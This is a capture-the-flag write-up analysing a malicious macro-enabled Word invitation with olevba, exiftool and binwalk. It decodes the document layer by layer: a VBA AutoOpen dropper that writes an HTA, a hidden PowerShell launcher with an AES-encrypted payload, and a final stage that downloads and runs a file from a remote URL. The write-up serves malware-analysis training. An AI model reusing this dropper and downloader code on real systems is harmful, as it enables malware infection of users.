The challenge
Quinn was ecstatic when she received a invitation to “A Haunting Halloween Bash!” The design was perfectly eerie, and she saved it immediately. But the spooky fun didn’t stop there. A few hours later, her computer started acting strangely. Her cursor flickered, and she could swear she heard faint, ghostly whispers coming from her speakers. The final chilling event occurred when her desktop wallpaper suddenly changed to a glitched, haunting version. Is her computer just getting into the spirit of the season, trying to cosplay for Halloween? Or is there something more sinister lurking…
Running the file command against the file identifies it as a Word document.
└─$ file Haunting\ Halloween\ Bash.docm
Haunting Halloween Bash.docm: Microsoft Word 2007+
exiftool reports it as macro-enabled.
└─$ exiftool Haunting\ Halloween\ Bash.docm
...
File Type Extension : docm
MIME Type : application/vnd.ms-word.document.macroEnabled.12
Creator : cwubtin
Keywords : ath.evoLrood
Category : shell
....
Now that we have identified it’s a macro-enabled Word document, we can analyze it with oletools.
└─$ olevba Haunting\ Halloween\ Bash.docm
olevba 0.60.2 on Python 3.13.7 - http://decalage.info/python/oletools
===============================================================================
FILE: Haunting Halloween Bash.docm
Type: OpenXML
WARNING For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Function contents()
ActiveDocument.Content.Find.Execute FindText:="3-", ReplaceWith:="", Replace:=2
End Function
Function keywords()
keywords = ActiveDocument.BuiltInDocumentProperties("keywords").Value
contents
End Function
Public Function s(likeLoad, loveYou)
CreateObject(likeLoad + ActiveDocument.BuiltInDocumentProperties("category").Value).exec "c:\windows\explorer " + loveYou
End Function
-------------------------------------------------------------------------------
VBA MACRO main.bas
in file: word/vbaProject.bin - OLE stream: 'VBA/main'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public Sub AutoOpen()
If Format(Date, "dd/mm/yyyy") <> "25/10/2025" Then
Application.Quit
Exit Sub
End If
girlLikeYou = StrReverse(ThisDocument.keywords)
With ActiveDocument
.SaveAs FileName:=girlLikeYou, FileFormat:=2
End With
likeLovePow = "script"
ThisDocument.s Trim("w" + likeLovePow + "."), girlLikeYou
End Sub
Analysis and Deobfuscation
Function contents()
- It searches the document content for the string “3-” and replaces it with nothing. Replace:=2 means “replace every occurrence”.
Function keywords()
- It reads the Keywords metadata property of the Word document.
- Calls
contents()function. - Returns the value of
keywordsmetadata property. - In the
exiftooloutput we can see that the keywords metadata isath.evoLrood. This will be important later.
Function s(likeLoad, loveYou)
- It creates an object based on the
likeLoadparameter and the document’s Category metadata property, then calls.execon that object with the argument"c:\windows\explorer " + loveYou. - Later in the script the vba builds the string
"w" + "script" + "."and passes it to thes()function
CreateObject("wscript.shell").exec "c:\windows\explorer <additional payload>"
AutoOpen() subroutine
- Runs automatically when the document is opened.
- If the date is October 25, 2025:
- It gets the keywords document property, reverses the string, and stores it in
girlLikeYou. - Then it saves the current document as an RTF file (FileFormat:=2) using the reversed keywords string as file name -
doorLove.hta. - At the end it calls:
- It gets the keywords document property, reverses the string, and stores it in
ThisDocument.s Trim("w" + likeLovePow + "."), girlLikeYou
Which in essence is:
ThisDocument.s "wscript.", girlLikeYou
The parameters get passed to s() and the function creates an object: CreateObject("wscript." + category)
From exiftool we know the category metadata is shell.
CreateObject("wscript.shell").exec "c:\windows\explorer " + girlLikeYou
We can extract the document with binwalk and explore its contents.
└─$ binwalk -e Haunting\ Halloween\ Bash.docm
Inside document.xml we find the visible document content. It’s HTML code for an HTA script, likely the file dropped onto the computer by the malware.
...
<head>
</head>
<body>
....
<script language="vBsCrIPt">
a70=626 - &H22C:a117=629 - &H200:a110=601 - &H1EB:a99=1048 - &H3B5:a116=237
...
res = ChrW ( a70 ) & ChrW ( a117 ) & ChrW ( a110 ) & ChrW ( a99 ) & ChrW ( a116 ) & ChrW ( a105 ) & ChrW ( a111 ) & ChrW ( a110 ) & ChrW ( a32 ) & ChrW ( a121 ) & ChrW ( a90 ) & ChrW ( a86 ) & ChrW ( a40 ) & ChrW ( a66 ) & ChrW ( a121 ) & ChrW ( a86 ) & ChrW ( a97 ) & ChrW ( a108 ) & ChrW ( a32 ) & ChrW ( a111 ) & ChrW ( a100 ) & ChrW ( a108 ) & ChrW ( a41 ) & ChrW ( a13 ) & ChrW ( a10 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 )
...
The string is encoded as decimal values. Using Python we can quickly decode it.
import re
def decode_vba_chrw(vba):
# find every ChrW(aXXX) pattern
codes = re.findall(r'ChrW\s*\(\s*a(\d+)\s*\)', vba)
return ''.join(chr(int(c)) for c in codes)
Here’s the decoded string.
Function yZV(ByVal odl)
Dim JKn
JKn = 765
Dim kLR
kLR = dKi(odl)
If kLR = 7000 + 1204 Then
For Each Lvw In odl
Dim vNY
vNY = vNY & Chr(Lvw - JKn)
Next
End If
yZV = vNY
End Function
Function HqY()
Dim odl
Dim Nkt
Nkt = "powershell.exe -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $cSIES = 'AAAAAAAAAAAAAAAAAAAAADTAOErQDF4qsrMFmcemiE4YTep5uKcUUYoGUDYq4Tsw6kaZToihJnuIYVqzd5QjoBkC8b7sz6VOCVREfIfbnSG2yQVyb+bxqIZYOAhLxrdKnmIuT+9HwEzF3sF7/Zvwads8A2fA/a7UEP8X+RSR2Azypm+mFHpbVNJMOiuqoTY0+gDlJEZ4dRkYOpFmN4gScYDA4+nVUJHlEzAkJaXho6mIqCP0vPpAiSoHu8CTAvOdyyxY1MxnBAqNYrDpci7UEXIi98OhBa0Og1mTiFl96XA4vZ2sIpR/jhu0K3xi9H0XV3GQVJu2UScYjDdLcqnrEEMMONV7umLCXJbtNduzryyQgn3PL2wpk9AhEeCbyO8vKw5mxhjnPJKQNq10G7Wsdy7vmrmw7e32ubXa3LaCkS7KWbGA2Zs0xUtiubUrCmC56x/KPHb6nF5J4DsAuLGGdOOXtg/kEC7j/lGS2UsFbsycy+bUeUct7EdMm90ciDovI8Vp6nsQ2f5Pc1oTVLiikPZCFkF7/0PyrGQK6Pqe4XvOZt641pDR96cMpdZdzq2+bYJwTwr1eU12fLJu7+JdWGkmk1NJ3OIS1lGTkyT9Rwg0kYIn6zn9Odma70y1KpQg26zbkgtGVU8e8i19zllm37eg/VCv35naPinWlxa7ZJS629o0dMpPJCX1jtiLV8hhZ/cw9nEh8iR3eDtniuHAXToI5mNPzNtCgk9Wzu2QEx5HcdGD35S6p1vfI1K7dGhcLPBortKtgueTJXLnJlwUk3XQdPevesEstd98wXZx29zA2wexenHYc86qJRKoltjWhVDB1b/UKQqBBP4AjI8dL9WNblkeTEgdrfxks3kk1sa7dEeF96ekipp9zOAvAdKTEL/hAyy9m1KNUPjKMYB77zdx6AFvOsBHNXVas2mGGHs=';$JaDRfpRa = 'elhYZGxCdk93cENHWVNnQ3lwUFBkUWRVZWx1bUxWeG8=';$UjGBFtr = New-Object 'System.Security.Cryptography.AesManaged';$UjGBFtr.Mode = [System.Security.Cryptography.CipherMode]::ECB;$UjGBFtr.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$UjGBFtr.BlockSize = 128;$UjGBFtr.KeySize = 256;$UjGBFtr.Key = [System.Convert]::FromBase64String($JaDRfpRa);$RZAWw = [System.Convert]::FromBase64String($cSIES);$eLFEQPJq = $RZAWw[0..15];$UjGBFtr.IV = $eLFEQPJq;$PzMgzvGRO = $UjGBFtr.CreateDecryptor();$YVtaxLJBx = $PzMgzvGRO.TransformFinalBlock($RZAWw, 16, $RZAWw.Length - 16);$UjGBFtr.Dispose();$QMDoCzko = New-Object System.IO.MemoryStream( , $YVtaxLJBx );$STJSeO = New-Object System.IO.MemoryStream;$AxTcQTHfS = New-Object System.IO.Compression.GzipStream $QMDoCzko, ([IO.Compression.CompressionMode]::Decompress);$AxTcQTHfS.CopyTo( $STJSeO );$AxTcQTHfS.Close();$QMDoCzko.Close();[byte[]] $RscjzQ = $STJSeO.ToArray();$gAvDSOM = [System.Text.Encoding]::UTF8.GetString($RscjzQ);$gAvDSOM | powershell - }"
Dim Gtc
Set Gtc = KVI(yZV(Array(852,880,864,879,870,877,881,811,848,869,866,873,873)))
Gtc.Run(Nkt),0,true
self.close()
End Function
Function dKi(ByVal kLR)
dKi = VarType(kLR)
End Function
Function KVI(ByVal objectType)
Set KVI = CreateObject(objectType)
End Function
HqY()
There are several layers of obfuscation.
First Layer - Character Decoding
- The
yZV()function decodes an array of numbers by subtracting 765 from each and then converts to characters:
Array(852,880,864,879,870,877,881,811,848,869,866,873,873)
After decoding this becomes: “WScript.Shell”
Second Layer - Encrypted PowerShell payload
- The payload is a Base64 encoded, AES encrypted, Gzip compressed PowerShell script.
We can obtain the AES configuration and the process of decryption from the PowerShell script.
- Key: elhYZGxCdk93cENHWVNnQ3lwUFBkUWRVZWx1bUxWeG8= (Base64 decoded)
- Zero padding
- ECB mode
- 128-bit block size, 256-bit key size
The Decryption process:
- Takes the long Base64 string (
$cSIES) - Uses first 16 bytes as IV
- Decrypts the rest with AES
- Decompresses with Gzip
Let’s decrypt the payload using CyberChef. The recipe can be found here.
Decrypted and decoded payload (formatted for better readability):
function cNS($ONT, $wfi) {
[IO.File]::WriteAllBytes($ONT, $wfi)
}
function OxT($ONT) {
if ($ONT.EndsWith((zXo @(4807, 4861, 4869, 4869)) -eq $True)) {
msiexec.exe -y $ONT
} elseif ($ONT.EndsWith((zXo @(4807, 4873, 4876, 4810)) -eq $True)) {
powershell.exe -ExecutionPolicy unrestricted -File $ONT
} elseif ($ONT.EndsWith((zXo @(4807, 4870, 4876, 4866)) -eq $True)) {
misexec /qn /i $ONT
} elseif ($ONT.EndsWith((zXo @(4807, 4867, 4858, 4875)) -eq $True)) {
powershell.exe -ExecutionPolicy unrestricted java -jar $ONT
} else {
Start-Process $ONT
}
}
function EQE($sph) {
$NlB = New-Object (zXo @(4839, 4862, 4877, 4807, 4848, 4862, 4859, 4828, 4869, 4866, 4862, 4871, 4877))
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12
$wfi = $NlB.DownloadData($sph)
return $wfi
}
function zXo($BJj) {
$mwO = 4761
$LND = $Null
foreach ($ckV in $BJj) {
$LND += [char]($ckV - $mwO)
}
return $LND
}
function Axa() {
$Nxl = $env:AppData + '\'
$BwTBpOJLq = $Nxl + 'bindropondisc11_SC.bat'
if (Test-Path -Path $BwTBpOJLq) {
OxT $BwTBpOJLq
} else {
$juKrxoSTtI = EQE (zXo @(4865, 4877, 4877, 4873, 4819, 4808, 4808, 4880, 4880, 4880, 4807, 4870, 4862, 4877, 4858, 4860, 4877, 4863, 4807, 4860, 4872, 4870, 4808, 4838, 4862, 4877, 4858, 4828, 4845, 4831, 4884, 4811, 4812, 4813, 4863, 4816, 4862, 4860, 4818, 4811, 4817, 4861, 4818, 4861, 4862, 4814, 4816, 4815, 4813, 4812, 4817, 4814, 4812, 4862, 4816, 4812, 4812, 4814, 4812, 4886))
cNS $BwTBpOJLq $juKrxoSTtI
OxT $BwTBpOJLq
}
}
Axa
With the PowerShel descrypted we can now see the execution flow.
- It creates a WScript.Shell object
- Launches PowerShell with execution policy bypass
- Starts a cmd.exe with hidden window
- The hidden command runs the decrypted PowerShell payload
- Closes the original script window (self.close())
There’s one more layer of obfuscation here.
This time function zXo($BJj) subtracts 4761 from each integer in the arrays and turns the result to a character.
$NlB = Net.WebClient
$juKrxoSTtI = http://www.metactf.com/MetaCTF{234f7ec928d9de57643853e73353}
We now have the flag.